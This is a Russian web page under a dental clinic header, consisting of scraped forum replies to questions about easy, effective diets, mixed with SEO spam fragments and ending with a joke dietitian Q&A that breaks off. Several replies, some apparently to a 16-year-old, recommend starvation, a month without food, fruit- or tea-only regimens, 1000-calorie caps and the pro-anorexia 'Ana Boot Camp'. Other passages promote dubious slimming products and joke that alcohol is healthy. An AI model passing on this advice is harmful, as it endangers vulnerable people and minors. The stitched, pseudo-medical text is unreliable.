Кафедра челюстно лицевой хирургии и стоматологии СамГМУ

ОАО "Поволжский Специализированный Реабилитационный Стоматологический Центр"
Терапия Ортопедия Пародонтология Хирургия Ортодонтия Имплантология Эстетическая хирургия ЧЛХ
  ?>
О компании
Услуги
Прайс
Наши разработки
Наш коллектив
Бесплатная
   консультация

Хочу похудеть. Подскажите хорошую диету.

Ничего не есть

Бег по 3 км каждое утро, 6 дней в неделю.
Пассивные способы сбросить вес (диеты) , изнуряют организм, причиняя вред.
А бегая, Вы будете поддерживать организм и мышцы в тонусе.
Но, Вам же лень, не так ли? Плотный график, врачи запретили и пр. , ага?

Повесь на холодильник замок с цепью----ключ проглоти----захочеш жрать----грызи ногти----насытится не насытишся---но----чувство голода притупится

Правильное и здоровое питание- это первостепенно!! ! И конечно же физ. нагрузки- обязательно. И ни кто не говорит потеть ведрами, можно просто каждое утро качать пресс по 20 раз, 10 раз отжаться и парочку упражнений для спины. Это для начала. Займет всего 10-15 минут- но результат будет сразу заметен!! ! А по поводу здорового питания- так Ваш организм вам так благодарен будет, что вы и не захотите всякие вредности в него потом пихать....

Тоже перебирала кучу диет. в итоге наткнулась на одну, что кушать можно что хочешь, но в деть обязательно выпивать 0,5-1 л воды с лимоном, для лучшего обмена веществ. Рецепт воды прост: на один стакан КИПЯЧЕНОЙ воды выдавить сок из половинки лимона. вот и всё. пить в течении дня.

Какая самая легкая и эффективная диета?

Тюрьма

Так как во время рисовой диеты из организма вымывается большое количество калия, то советуем вам пить его дополнительно. Самые легкие и эффективные диеты.

Спорт!

Закрыть рот после 18.00

Чем меньше ешь-тем больше живешь!
Ну... просто НЕ ешьте после6-7 часов вечера, стараться НЕ наедаться и есть медленно ( так как организм наш устроен так: 15 минут длится голод во время еды, а после- мы чувствуем насыщение)

Посоветуйте хорошую и действенную диету.

Исключить сахар и белую муку во всех видах

А хочется найти вариант самой простой, но эффективной диеты. Пусть правила на ней будут легки и доступны даже для ребенка, а стройность окажется вполне достижимой. И, разумеется, все это без грустных ограничений.

Лучшая диета это спорт. а диеты это для лентяев, которые думают, что если жрать всякую хрень, то похудеешь.

Не есть сладкого, жирного, мучного и после 6 вечера.
вот ився диета. не сложно, главное привыкнуть.

Пять раз в день. Объем пищи не более 250гр.
Знакомый с мая по сентябрь сбросил около 40 кг. Когда становился на весы- зашкаливало за 160. К осени был 120 кг.
Купил весы. Взвешивал. Брал термоса на работу
7.00 - запаренная овсянка на молоке. * изюминок.
10.00- 2 яйца или творог, или любую кашу: перловая, гречневая
13.00 - только первое
17.00 - мясо нежирное (или рыба) салат
можно фрукты
20.00 - стакан кефира
Исключить сахар (можно ложку меда в день) , хлеб, копчености, прянности.
Ограничить потребление соли.
Удачи

Самое действенное это создать дефицит энергии путем уменьшения каллорийности пищи и увеличения нагрузок. Важно понимать, что просто так голодать - нет смысла.
Не есть после 6, ограничить потребление макарон, хлеба, сладкого (или вообще исключить)
Заниматься спортом надо правильно. не изматывать себя, а действовать по схеме:
Обязательно бег минимум 5 минут (непрерывный) - для разогрева организма.
Далее всякие занятия типа приседаний (для попы хорошо) , пресса и тд. Вообще в интернете полно всяких упражнений.
Заниматься не менее 40 минут. Я объясню почему. Наш организ работает на так называемом "топливе" ну или энергия, как хотите. Это креатинфосфат. При занятии спортом креатинфосфат истощается через 30-40 минут И ТОЛЬКО ТОГДА организм начинает черпать другую энергию из жировых клеток.
Так же полно всяких диет типа "Кефирная", но есть одно но. Нельзя постоянно сидеть на кефире. Три дня максимум.

Пить больше воды (только не наночь) . когда желудок заполняется водой есть не хочется.

Каждая женщина мечтает сбросить пару-тройку килограммов. С этой целью они прибегают к огромному количеству диет. Многие выбирают самые быстрые, легкие и эффективные диеты, в случаях, если результат нужен незамедлительно.

Медицинская диета № 8. Остальное - от лукавого! После 18 часов надо есть обязательно. Голод вызывает жор. Почитайте советы для диабетиков. они не едят картошку, морковь, свёклу, горошек, белый хлеб, белый рис, сладкие фрукты, конфеты, торты, выпечку, каши. , потому, что он них "скачет" сахар. Когда он падает, то начинается неконтролируемый голод. Продукты молочные обезжиренные ничего не дают, надо есть молочное от 1% до 2,5 %, а творог - 5%. Так мне советует мой врач. Я потеряла уже 35 кг. Знаю, что говорю.))

Питьевая)

Есть хорошая диета для мужчин , но самое главное для мужика - исключить алкоголь во время приема пищи, а уж о пиве и смысла нет говорить. Обычно даже хватает для похудения даже этого

Легкие и эффективные диеты....подскажите, люди добрые))))) ..подскажите, люди добрые)))))

Мучное и каотошку поменьше

Не ждите прихода лета, когда на борьбу с лишним весом нужно будет применять много усилий, используйте замечательную простую и очень эффективную диету для похудения сейчас и будьте приятно удивлены.

Диета "Бухенвальд": уникальное сочетание пищевой диеты с физическими упражнениями!
Питайся хлебом и водой, при этом устройся на подработку грузчиком!

Диета Дюкана отличная)

Каждое утро на голодный желудок употреблять два солёных огурца и запивать молоком.

Никакие диеты.
Просто все нужно кушать по не многу. Если наедаться как неизвестно кто, то результат покажет сам за себя.
Соблюдай перерывы перед едой.
Допустим завтра у тебя в 9, далее идет перерыв, можешь часов в 11 перекусить чего-нибудь, но только легкое, далее в 13:00 должен быть обед, после, можешь часа в 16:00 перекусить какой-нибудь фрукт или зефир, а после в 6-7 и ужин.
А на ночь можно и кефира.
Вот и всё.)И вообще-любите себя такой, какая вы есть. Полюбите свое тело, и оно отблагодарит вас тем же.

Диеты все индивидуальные и 95% их не выдерживают. В итоге набирают еще больше.
Даю простые, но эффективные рекомендации:
•пить минимум 1 стакан не кипяченной воды за 30 минут до еды
•ходить не мене 10000 шагов в день со скоростью 5-6 км в час
•перейти на дробное питание 5-6 раз в день
•ограничить потребление ненасыщенных жиров до 40 г в день
•исключить трансжиры (Жиры бывают трех видов - насыщенные (полезные) например рыба некоторых сортов ненасыщенные колбаса сыр и трансжиры (очень плохие) например маргарин
•с удовольствием потреблять продукты с насыщенными жирами так как они содержать очень полезные вещи например жирные кислоты омега -3)
•есть ржаные или пшеничные отруби
•Алкоголь ограничить и лучше всего пить немного красного вина
•Кока пепси и другие сладкие напитки убрать из рациона подальше и не приближаться к ним ближе чем на 25 км
•Сладкое мучное сдобное . Это простые углеводы они очень быстро превращаются в жир. Надо ограничить, но совсем убирать из рациона не следует. Иногда надо себя побаловать
Попробуйте инновационное средство для похудения -клипса с нанопокрытием, которая сочетает идеи иглоукалывания и нанотехнологий. . Она действует на точку голода на козелке и помогает с ним справиться. Кроме того нормализует обмен веществ, работу эндокринной системы и другое.
Еще много полезного для похудения смотрите на блоге Похудение21век

Все эти видимые плюсы легко могут убедить нас в том, что диета на гречке полезная и эффективная.Рецепт гречневой диеты Рецепт гречневой диеты очень прост с вечера запарить двумя стаканами кипятка один стакан промытой и перебранной крупы.

Подскажите правильную и действенную диету.. мне 16

Жрать всё подряд

Достаточно быстрой и эффективной диетой является кремлевская диета, диета по группе крови, диета на гречке, диета по системе минус 60 Этот нехитрый продукт, благодаря появляющимся в процессе брожения молочнокислым бактериям, легко усваивается организмом...

А для чего диета? Диета, это вопрос не простой. Надо хотя бы знать, для чего.

Если и вправду хотите похудеть, то есть 2 выхода в диете.
Низкоуглеводная - исключает все мучные, крупные и сладкие изделия, нельзя есть молочку, за исключением творога (молоко тоже нельзя). В общем, никаких углеводов, в т. ч. фруктов. Можно есть немного овощей. Питание состоит из рыбы, мяса, яиц, творога и других белковых продуктов. Это сложная диета, действенная, но сложная. Тут можно есть жирную пищу.
Низкокалорийная - более легкий и свободный вариант.
Можно есть каши, крупы, рис (картошку нельзя) и другие медленные углеводы. Так же фрукты, овощи, то же мясо и яйца, творог и т. д. Но тут нельзя ничего жарить, ибо экономим на калориях, но не на углеводах.
Длительность - 2 недели - месяц, как в 1ой, так и во 2ой диете. Девочке бы посоветовал 2ую.
Желательно во время (а то и после) заниматься спортом, бегать.

Милая Алла, если Вам не жаль своего времени и здоровья, можете конечно слушать интернет-гуру, но учтите что им то все равно поможет Вам диета или нет. Для лучшего понимания моих слов прочтите статью http://www.doctor-alex.ua/korrekciya-vesa/ - худеть тоже надо правильно.

Как мама двоих детей я знаю, что очень сложно бороться с лишним весом при таком образе и ритме жизни. Перепробовала множество “чудодейственных средств” в виде таблеток, чаёв, платырей и примочек. Портила здоровье редуксином, липриной, жидким кашатном, ксениКАЛОМ семенами чиа, зеленым кофе, ягодами годжи, флу, кленом. Заявляю категорически – кроме вреда для здоровья и временного снижения веса с последующим его набором – абсолютно никакой пользы! Около года назад мне порекомендовали Сергея Сивца. Это оказался первоклассный специалист по фитнесу и один из лучших диетологов Москвы. И просто хороший, отзывчивый человек. Очень рекомендую программы питания и программы тренировок Сергея Сивца! Для дома, улицы и тренажерного зала. Есть специальные программы для похудения живота и боков! На мой взгляд, они самые эффективные и недорогие (что важно в сегодняшней непростой ситуации в стране). Можно быстро и безопасно похудеть без насилия над собой! Сайт у него, по-моему, атлетик блог ру. Можно через поиск найти. Успехов всем худеющим!

Скажите, кто как худел, помогите очень нужно)) ) простую и действенную диету

Чтобы худеть надо есть .. диета Малышевой при этом нормально...

Легкая и эффективная диета для похудения. Категория Диеты. 05 02.Легкая и эффективная диета для похудения - 4.5 out of 5 based on 2 reviews. Эта диета для тех, кто просто не выносит чувства голода.

Делишь все порции, которые берешь, наполовину
все.

Если ты маленькая, то наверняка просто голодай. Ешь только - фрукты.
Помгает!
Если ты большая, то тоже самое.

Диета Дюкана

На шоколаде неделю

Подскажите эффективную легкую диету до 20 кг за 1 месяц

Месяц не есть...

Интенсивная диета. Основным принципом действия данной диеты является быстрое насыщение организма, то есть вы организм не будет испытывать ощущениеПеред началом этой быстрой диеты, сделайте один разгрузочный день. Ужин должен быть легким и не поздним.

Это практически невозможно. можно только угробить свои организм. лучше попробуйте диеты по 5-7 кг за месяц + упражнения

Таких диет не существует.. 20 кг за месяц-никто еще не сбрасывал, если не считать смертельно больных онкологией...

Голод!!!! а больше и не чего!!!! спорт по часа 4 в день

Перестань обжираться

Может не двадцать... но... найди в инете про сельдереевый супчик, эффективно и вполне терпимо.

Главная Диеты для похудения Эффективные экспресс-диеты для быстрого похудения.Я в легком шоке была первое время. Купила именно этот сорбент, который и рекомендовали в статье и очень даже понравился. буду его и дальше использовать.

Если бы весила килограммов 200, то за месяц реально было бы 20 кг скинуть.
Я 2 недели была прикована к постели, почти не ела и не пила. Похудела только на 5 кг.

Саша из Волгограда сбросил 76 кг и весит 108 кг. 5 раз в день ест немного и много бегает.

Эффективная ли диета..просто 10 дней сидеть чисто на одном зелёном чае..сколько кг уйдёт?

Уйдет желудок, печень, поджелудочная, вот и считайте....

Белково-овощная диета как самый легкий способ похудеть. Самые эффективные диеты для быстрого похудения худеем правильно в кратчайшие сроки.Самая лучшая диета в мире. Главная. Спорт и Фитнес. Снижение веса. Самая быстрая и эффективная диета.

Если выживешь то мнооооооооооооооооого)

На одном зеленом чае просидеть нельзя! к 8 дню будешь в обмороки падать. Вопще говорят что можно скинуть от 7 до 12. Но не советую, лучше кефир утром, полноценный завтрак, в обед салат овощной 2-3 яблока, ужин кефир + яблоко.

Зачем так над собой издеваться? Сейчас лето :изобилие овощей, фруктов. Ешь сколько хочешь яблок, огурцов, помидор.... И пользы больше.

КГ 10 точно, я так месяц сидела, пришла в норму .

Вес почти не потеряете, во всяком случае жир точно не уйдет, а вот здоровья вообще - много мождет уйти! Даже очень!

Так вам будет легче сделать правильный выбор. А мы предлагаем вам ознакомиться с требованиями, которые предъявляют врачи к системам питанияЕсли вы ищете действенные диеты для похудения, то обратите внимание на питание по этой схеме Завтраки запрещены!

Сколько кг не знаю, а гастрит - обеспечен на всю жизнь, и похудание таким способом, не есть - ПОХОРОШЕНИЕ. Скорее всего придёт - постарение. просто кушай овощи тущёные, сырые, рыбу нежирную, кашу овсянку без масла и сахара (гадость, но сберегает желудок и.. . всё таки мучительного чувства голода нет) Кушать часто но мало и некалорийно

Нет. Сходите в поликлинику!

Подскажите эффективную и простую диету. "Не жрать" и "Не жрать после 6" не советовать, ибо и так.

Не есть больше 2000 калорий в день. и всё. Примерно узнать сколько в том или ином продукте калорий и не привышать сумму.

Белково-овощная диета как самый легкий способ похудеть. Самые эффективные диеты для быстрого похудения худеем правильно в кратчайшие сроки.Самая лучшая диета в мире. Главная. Спорт и Фитнес. Снижение веса. Самая быстрая и эффективная диета.

Чтобы навсегда, только так)))) ) "Не жрать" и "Не жрать после 6")))

Склонным к ожирению только меньше жрать. Остальным много работать.

Утром--секс, вечером печенюшка, если не поможет, все мучное убрать)))

А спортом не пробовала заняться? ибо и так! А 0,5 кг в день-это полный отказ от твердой пищи-только вода.

Английская диета на 21 день. Или жидкая диета.

ТОП-7 быстрых, но эффективных диет. Идеальная фигура Эффективные диеты 10.06.2014 10 58. Конечно, чтобы похудение было не только результативным2. Диета на яйцах и меде. За 2 дня улетучивается - 1,5-2 кг. Состав диеты простой и переносится она легко за счет меда.

Вот посмотрите эту http://mirsovetov.ru/a/medicine/nutrition/buckwheat-diet.html
или вот здесь большой выбор

Три дня вареный без соли рис, следующие три дня вареные без соли куриную грудку или рыбу, и еще 3 дня фрукты овощи, в идеале зеленые яблоки
все дни пить не менее 2 литров жидкости, зеленый чай, на ночь можно чайную ложечку меда

Повертьте мне на слово, сам пробовал, сам пользуюсь, по сравнению с диетами жесткими и строгими, она довольно таки терпима, три дня надо есть: утро одно яйцо в крутую, кусочек хлеба черного, чай без сахара, обед два яйца и пол грейпфрута, вечер в часиков 6 ну если тяжело то в 7 тоже два яйца вареный и опять грейпфрут, много жидкости если хочется есть еште грейпфрут. Через три дня гарантирую минус 2 кг минимум если все соблюдать как я написал

А я чай похудейка пила) 5-6 кг за пару недель как не бывало)

Уже давали.

Действенная диета это диета, которая действительно помогает похудеть. Как правило, самые действенные диеты для похудения подразумевают не толькоЛегче всего соблюдать действенную диету, по отзывам, вдали от дома, где легко поддаться соблазну перекусов.

Ограничить употребление углеводов (мучное, сладкое, картофель) , не кушайте после 18.00, пейте 1,5-2 литра воды в день, заняться спортом, или гимнастику делать, упражнения различные
я в свое время худела по диете Ларисы Долиной, очень действенная диета, я довольна!
1-й день: 400 г печеного картофеля без соли и 0,5 л кефира 1% жирности (это на весь день) .
2-й день: 400 г обезжиренного творога и 0,5 л кефира.
3-й день: 400 г фруктов (кроме бананов и винограда) и 0,5 л кефира.
4-й день: 400 г отварных куриных грудок без соли и 0,5 л кефира.
5-й день: 400 г фруктов и 0,5 л кефира.
6-й день: 1,5 л минеральной воды без газа
7-й день: 400 г фруктов и 0,5 л кефира.
После недели диеты питаетесь как обычно, но с ограничением сладкого, жирного, острых блюд и мучного. Это надо для закрепления веса. Возможно, что за это время прибавится килограмм. Спустя семь дней вновь приступите к диете - пока не достигнете желаемого результата.
1. Каждый день нужно употреблять только определенный вид пищи. Например, творог или вареную курицу. Запивать кефиром, настоем трав и водой.
2. Продукты надо делить на маленькие порции и есть через каждые два часа с 8.00 до 18.00. После - ни-ни!
P.S. Я вместо 6-го дня, где нужно пить воду, кушала фрукты с кефиром, потому что это очень сложно лично для меня, и все равно похудела!

Девочки, подскажите хорошую и эффективную диету что бы можно совмешать с бегом. Всем заранее спасибо)

Надо есть нормально и при этом много зелени, укроп петрушка ИТД.

Самая простая диета. in Питание и диеты. Пять простых правил питания, которые помогут поддерживать желаемый вес. Какие продукты нужно исключить, и сколько вина допустимо пить на этой диете?

Ненавижу слово диета!! ! Просто питайся правильно и все. Маленькими порциями, сладкое и мучное не ешь, пей зеленый чай, больше цитрусовых, яблоки все темно-зеленые овощи и т. д.

Вообще диеты это бред. я читала про них много и пробовала но потом ты еще больше вес набираешь. надл всякую хрень не есть типа чипсы коло сахар. и правильно кушать

Скажу Вам, любая диета будет эффективной, если правильно подойти к вопросу похудения. Помните - в основе разумного оздоровительного похудения всегда лежит подготовка к очищению организма от шлаков с применением энтеросорбентов таких как Полисорб, который в комплексе: абсорбирует вредные и токсичные вещества, улучшает обмен веществ (если он нарушен, то нередко является причиной избыточного веса).

Какая диета легче и эффективнее? никак не могу выбрать, помогайте

Подскажите простую эффективную диету,из простых продуктов,и желатеельно более однообразную,а не каждый день бегай в

Все самое низкоколлорийное

Эффективная, недорогая диета для похудения это настоящая находка. Рецептов различных диет сотни, но не существует универсального рецепта для каждой женщины. Для кого-то окажется подходящим и действенным один вариант, для кого-то совершенно другой.

Гречка и капуста: свежая, квашеная, тушеная, любая.

Перд едой зеленый чай

Подскажите диету для подростка. Подскажите хорошую и эффективную,но не изнуряющую голодом диету.

Тушеные осощи и нежирный творог

Тренировки для различных видов телосложения! Самая простая и эффективная диета.Гарнир зеленый горошек Салат из овощей, заправленный оливковым маслом. Отлично подходят легкие овощные супы или отварная рыба.

Просто нормальное питание.

Спорт и только спорт

Вопрос к девушкам... какая самая лучшая и эффективная диета?

Мм.. гречневая

Для этого вам будет соблюдать самую простую, и при этом эффективную, диету.Полдник Йогурт и напиток с медом и лимоном такой же, как в первый день диеты . Нужно сделать два часа разницы между приемами йогурта и напитка.

Поменьше есть и побольше двигаться. Все остальное или вредит, или ни фига не помогает.

Не кушать после 18.00, вообще не переедать в течение дня и заниматься спортом регулярно. Результаты от ПРОСТО ДИЕТЫ уйдут как только перестанете ее соблюдать. А этот способ хоть и не дает мгновенных результатов, зато эти результаты надолго...

Пусть сначала попробует посчитать каллорийность всего, что съедает за день. Только обязательно все, все, даже маленькие перекусы, типа яблоко, конфета. После этого будет проще ориентироваться в чем проблема: то ли уменьшить количество съедаемого, то ли убрать из рациона какие-то слишком каллорийные продукты. Каллорийность можно посчитать здесь

УМЕРЕННОСТЬ
Долгожители Окинавы (Япония) , потребляют всего 1700 кал / день ...

Если без приколов, то кодировка! Кроме шуток.

Одной из самых простых и эффективных диет для быстрого похудения является простая диета.Так переносить диету будет гораздо легче, к тому же вы будете меньше испытывать чувство голода и не перегружать пищеварительный тракт.

Лето уже на пороге, уже хочется на пляж, а фигура еще так далека от совершенства.. . Что же делать? Нужно какое-то эффективное и быстрое средство для похудения. И при этом совсем не хочется истязать собственный организм немыслимыми нагрузками или экстремальными продуктами. Итак, мы хотим похудеть, при этом оставаясь бодрыми и жизнерадостными. То есть нам нужна диета, которая поможет эффективно снизить вес и не голодать при этом.
Такая диета существует – гречневая. Она рассчитана на одну неделю, но наиболее стойкие дамы выдерживают и до двух недель. Именно о ней мы и поговорим на МирСоветов.
Продукты для гречневой диеты
Суть проста: берем один стакан не дробленой гречневой крупы, заливаем двумя стаканами кипятка и оставляем настаиваться на ночь. Утром едим только гречку, запивая ее 1% кефиром. Солить, сластить и добавлять масло в гречку нельзя. Съесть за один раз можно «сколько влезет» - несоленая гречка обладает настолько специфичным вкусом, что вряд ли вы съедите больше 10 ложек за раз. Кефир должен быть свежим и не сладким. В первый день гречневой диеты вполне достаточно будет одного стакана заваренной гречневой крупы (то есть двух стаканов готового продукта) . Но если почувствуете, что можете съесть больше, на другие дни заваривайте большее количество крупы (пропорция та же: 1 часть гречки, две части воды) . Но при любом количестве гречки вы можете выпивать не более 1 литра кефира в день. Тем, кто не мыслит свое утро без чашки кофе, можно не отказывать себе в этом удовольствии, только кофе должен быть слабым и без сахара. То же можно сказать и любительницам чая. На время сидения на гречневой диете лучше перейти на зеленый чай. Если будет уж очень тяжело кушать одну гречку, можно сделать себе послабление в виде одного-двух яблок или апельсинов в день. В принципе, можно есть любые фрукты кроме бананов и винограда. Все зависит от количества съеденных фруктов, если съесть слишком много, потом просто не сможете вернуться к суровой гречневой диете. Когда станет совсем невмоготу все время кушать несоленую гречневую кашу, можно сдобрить ее соевым соусом. Только соус должен быть низкокалорийный и без соли. Во время гречневой, как во время большинства других диет, крайне не желательно есть после 6 часов вечера. Но если вам трудно следовать этому правилу, оставьте на вечер полстакана кефира, долейте водой до полного и выпейте это перед сном.
Что происходит с организмом во время гречневой диеты?
Начнем с того, что гречневая крупа очень полезна, в ней содержатся такие микроэлементы как железо, калий, магний, кальций. Кроме того, гречка укрепляет стенки сосудов. Вдобавок, содержащийся в гречке витамин В повышает устойчивость организма к стрессам и улучшает состояние кожи, волос и ногтей.
Отрицательная сторона гречневой диеты в том, что вы не будете получать ни соли, ни сахара. Поэтому эту диету следует применять с осторожностью людям, у которых диабет и/или гипертоническая болезнь. Несоленая гречка выводит из организма шлаки и лишнюю воду. Из-за того, что в организм не поступает соль, периодически возможны головные боли, а также это может спровоцировать падение артериального давления. Пока мы сидим на гречневой диете, мы обделяем свой организм и сахаром. А сахар – это глюкоза, которая так необходима мозгу для эффективной работы. Поэтому во время гречневой диеты вы можете почувствовать, что голова стала соображать хуже и безумно хочется сладкого. Выход есть: разведите чайную ложку меда в стакане воды и выпейте этот «напиток» . Не бойтесь, вся глюкоза достанется мозгу, а не отложится на бедрах.
Пока вы будете есть только гречку и пить кефирчик, организму придется пускать в оборот свои резервы – сжигать жир, чтобы обеспечить организм недостающими питательными веществами. В результате ускорится обмен веществ и сжигание жира пойдет быстро и легко.

Как быстро скинуть 3-4 кг (недели за 2)? Посоветуйте простую и действующую диету, плиз!

Не есть после 6 вечера, плюс 1 разгрузочный день в неделю (на кефире или гречке) . 3-4 кг это не много, уйдут

Диета представляет собой вполне весомый метод лечения широкого числа патологий, и к примеру при легкой степени сахарногоЧем отличаются от остальных самые эффективные диеты? какие общие черты у наиболее действенных диет Диетическое питание в...

Хавать диетическую пищю и не нажиратся на ночь

Физическими тренировками заниматься в день 2 раза кушать в меру. Лучше всего бег

На ночь не наедаться, сладкого поменьше. Главное, бегать целый день, как савраска, а вечером в спортзал пойти. И не нужны особые диеты, если вам нет 30.После 30 обмен замедляется, нужно меньше есть. Активного вам образа жизни с малым ограничением в еде.

Меньше кушайте, по крайней мере старайтесь! ешьте два раза в день утром и вечером, вы должны вставать из-за стола немного голодной (т. е. не сытой полностью) , не переедайте, в желудке мысленно разделите место на три части- одна для еды, вторая для жидкости, третья для воздуха- так и здоровее и можно скинуть лишние килограммы ;) удачи вам!

Легко, спытала на себе, трех кг за 5 дней как не бывало.
7,00 -чашка чая или кофе без сахара и молока
9,00 - морковь
11,00 - 100 г отварного мяса или пресноводной рыбы
13.00 - яблоко
15.00 - 50 гр сыра или вареное вкрутую яйцо
17.00 - листья салата или кусок капу сты
19.00 - чернослив (10 шт) , размоченный в небольшом к-ве воды
21.00 - стакан обезжиренного кефира.
в последующие 10 дн. питание обычное без переедания. с ограничением сахара и мучного, необходимо сохранить свой новый вес.

Эффективные монодиеты. Самые действенные диеты для похудения одновременно и самые жесткие.Диету держат 7 дней, но в случае легкой переносимости она может продлиться и до двух недель. Об этой действенной диете отзывы в большинстве своем положительные, люди...

Подскажите пожалуйсто легкую и эффективную диету...

Вот вам полезная диета из статьи газеты аргументы и факты.
полезная диета (физиологический метод похудения! )
1день. есть в основном белковую пищу (яйца, сыр, мясо, молочные продукты) -она даёт силы для физической нагрузки. её тоже увеличьте: прогуляйтесь по парку, сходите в спортзал, то есть активничайте в этот день как можно больше.
2день. в еде ограничений не требуется, физическая нагрузка-обычная. это день отдыха.
3день. пропустить завтрак. в обед выпить чашку кофе или крепкого чая (можно с конфетой) -так вы поддержите уровень глюкозы в норме до вечера. на поздний ужин, можно даже перед сном, -любые тушёные овощи на растительном масле.
4день повторение 1-го дня и так далее пока не достигнете идеальных форм.
Желаю вам здоровья.

Ведь научно обоснованная рациональная и действенная диета должна учитывать индивидуальные особенности организма, вплотьМногие из этих легких диет действительно обеспечивают быструю потерю веса, однако по ее окончании можно набрать еще больший вес...

Убрать шоколод и хлеб

Ешь кашки всякие, фрукты и овощи. я вообще не понимаю какие диеты? , просто питайся раздельно (без гарнира) , да пустим отварная курочка или рыбка и какой-нибудь салатик. никакого мучного и сладкого. Удачи

Сварите перловую кашу на воде, без соли. И еште сколько влезет, можно немного добавить мёда и сухофруктов. 1 день- 1 кг. проверено, ктому же перловка очень полезна для кожи и желудка. Посидите 5 дней похудеете на 5 кг и будете выглядеть на все 100, только с мёдом не усердствуйте!

Система "Минус 60" Екатерины Миримановой. Почитайте в интернете, полно материала.

Самая лучшая диета - " А давай ка я перестану жрать.... "

Многие женщины задаются вопросом Какая диета самая простая, легкая и незатратная?Современные эффективные диеты являются системами питания, которые способствуют продлению молодости и оздоровлению всего организма.

Kremlevskaya dieta

Японская диета

Подскажите пожал.легкую и эффективную диету!?

"Не жрать... ": - сказала одна знаменитая женщина (Майя Плисецкая)

Огуречная диета для быстрого похудения. Легкая и быстрая диета.Диета 1. Начнем с легкой диеты, возможно, она подойдет именно вам. Она, пожалуй, самая щадящая из всех предоставленных в этой статье.

Попробуй есть только те продукты, названия которых начинаются на буквы ы, у, я

Диета Королевой на 9 дней, Японская.

Подскажите хорошую и эффективную диету

Подсчет каллорий, не больше 1000 (ну я так ем не больше 1000) и все отстальное по списку, ХЛЕБ, МАКАРОНЫ, КАРТОШКА, СЛАДКОЕ НЕТ НЕТ И ЕЩЕ РАЗ НЕТ!!!! ну и после 18 часов не трескать. А вообще тебе худеть не надо, ты еще молоденькая девочка, растощий организм. Тебе кушать надо что бы рости и развиваться, а то от недоедания могут возникнуть проблемы со здоровьем)))))) Так что живи и радуйся))) еще похудеешь и наседься на диетах

Простая диета за десять дней похудение на 5 килограммов . Главный принцип простой диеты за десять дней основан на соблюдении основных законов раздельного питания. В первый день только вареная картошка 1 килограмм .

Советую просто немного увеличить нагрузки если это возможно. да ты еще растущий организм и еще ты с возростом можешь вытянуться и соответственно твой вес растянется на больший рост. но нагрузки все равно помогают и без диет)))))

Если у тебя нет проблем со здоровьем - ты просто много жрешь.
от того и такой вес. попробуй просто есть меньше. это не будет считаться диетой.
просто ешь сколько надо, а не дохрена, потому-что вкусно.

Почитай про "систему -60" и обязательно физические нагрузки, это тебе реальный совет со 100 % результатом, потому что диеты это временный эффект который вернётся с лихвой да ещё и психологический террор, надо менять образ жизни и взгляд на употребляемую пищу, а не сгонять время от времени гоняя жир туда-сюда!! ты ещё очень молода, начни совершенствовать себя сейчас, потом результат не заставит себя ждать как психологически так и физически! Удачи тебе.

Диета - это временное мероприятие. Надо менять образ жизни и питания.

Самые популярные в Мире диеты для похудения
На этой странице подробно изложены 217 различных диет
http://immunologia.ru/all-diet.html
+
Программа похудения для женщин
http://fitnesspoint.ru/pohydaniewomen
+
Определение процента жира в организме:
http://biceps.com.ua/testjira

Эффективные диеты - ТОП 5. Описание самых эффективных диет и примеры меню. 28.02.2013 02 23.Строгая, но очень популярная и эффективная диета. Эта моно-диета не рекомендуется для длительного применения.

Самая простая и действенная диета?

Ни в чем себе не отказывать.

Похожие записи Очень эффективная диета для похудения Самая действенная диета для похудения Самая легкая диета для похудения варианты диеты, рацион Жесткая диета для быстрого похудения.

Просто считай каллории. Кремлевская называется.

Софи Лорен: "НЕ ЖРАТЬ!! " . Быстро похудеете, но БЫСТРО НАБЕРЕТЕ!! ! Подумайте, нужны ли вам эксперименты над собственным организмом?? Удачи!!

Плюс к подсчету калорий упражнения. Но как это слоооооожно!!!!

Из всего, что пробовала-тольКо КремЛевка. В любом киоске купишь книжонку.

Кушать чайной ложкой.

Простая диета потому и называется простой, что она очень легка в соблюдении.Рацион простой диеты. Питание должно быть четырехразовым. С утра на завтрак два яблока и стакан зеленого чая без сахара.

Гречневая но большая веротность потом сорватся

Заклей рот, До одури трудись. Сразу все на место станет.

Самая мега-эффективная диета Ana Boot Camp (ABC)

Забыть об этом. и есть что хочешь.

Больше секса! И про еду забудешь:))))

Коллекция изображений Л гкие и эффективные диеты от пользователя Marina.Marina в Л гкие и... ДВУХНЕДЕЛЬНАЯ ДИЕТА 1-ый день 2-3 яйца фрукты и сырые овощи в любом количестве 2-ой день 450-550 г творога ...

Какая сама легкая и действенная диета?

Раздельное питание.

История, типы, разновидности и цели диет. Диеты для быстрого похудения. В наше время только глухой и слепой не знает, что такое диета.Диета Кима Протасова Известный израильский диетолог Ким Протасов создал легко запоминающуюся диету...

Спорт... можно еще неделю на воде и соке... только после этого надо постараться не сорваться и есть овощи... фрукты нельзя

Советы диетолога. Вопросы и ответы.
.
Я слышал, что существуют специальные тренировки сердечно-сосудистой системы, которые могут продлить жизнь. Правда ли это?
Ваше сердце может работать определенное число сокращений. Все. Не тратьте их на упражнения. В конце-концов все изнашивается. Ускорение работы сердца не продлит Вашу жизнь. Это так же, как и сказать, что Ваша машина проездит дольше, если гонять ее на большой скорости. Хотите жить дольше? Пойдите, поспите.
.
Должен ли я есть меньше мяса и больше фруктов с овощами?
Давайте рассуждать логически. Что ест корова? Правильно, сено, траву, кукурузу, свеклу и т. д. И что это такое? Правильно, растения и овощи. Таким образом, говядина - это ни что иное, как эффективный способ доставить в Ваш организм все эти растения. Хотите есть зерновые? Ешьте курицу. Свиное жаркое запросто даст Вам 100 процентно то же самое, что и в рекомендованном дневном наборе овощей.
.
Должен ли я уменьшить потребление алкоголя?
Вовсе нет. Вино сделано из фруктов. Коньяк - это перегнанное вино, просто убрана вода из Вашего фруктового набора, чтобы остался только концентрат. Пиво сделано из зерен. Водка тоже. На здоровье!
.
Как просчитать соотношение моего тела к количеству жира?
Очень просто. У Вас есть одно тело и один жир. Соотношение один к одному. Если у Вас два тела и один жир, то соотношение два к одному.
.
Чем полезны регулярные упражнения?
Не могу даже ничего придумать. Моя философия: не больно - значит хорошо.
.
А жареная еда не вредна для организма?
ВЫ МЕНЯ НЕ СЛУШАЕТЕ! Еда обычно готовится на растительном масле. Как Вам может помешать дополнительное количество растений?
.
Поможет ли качание пресса избавиться от излишнего веса на боках?
Нет. Когда Вы накачиваете мускулы, они становятся только больше. Вам стоит качать пресс, если вы хотите нарастить себе живот побольше.
.
Вредно ли мне есть шоколад?
С чего вдруг? Кофейные зерна - еще одно растение. Разве не приятно, когда вокруг вкусная еда?
.
Поможет ли плавание улучшить мою фигуру?
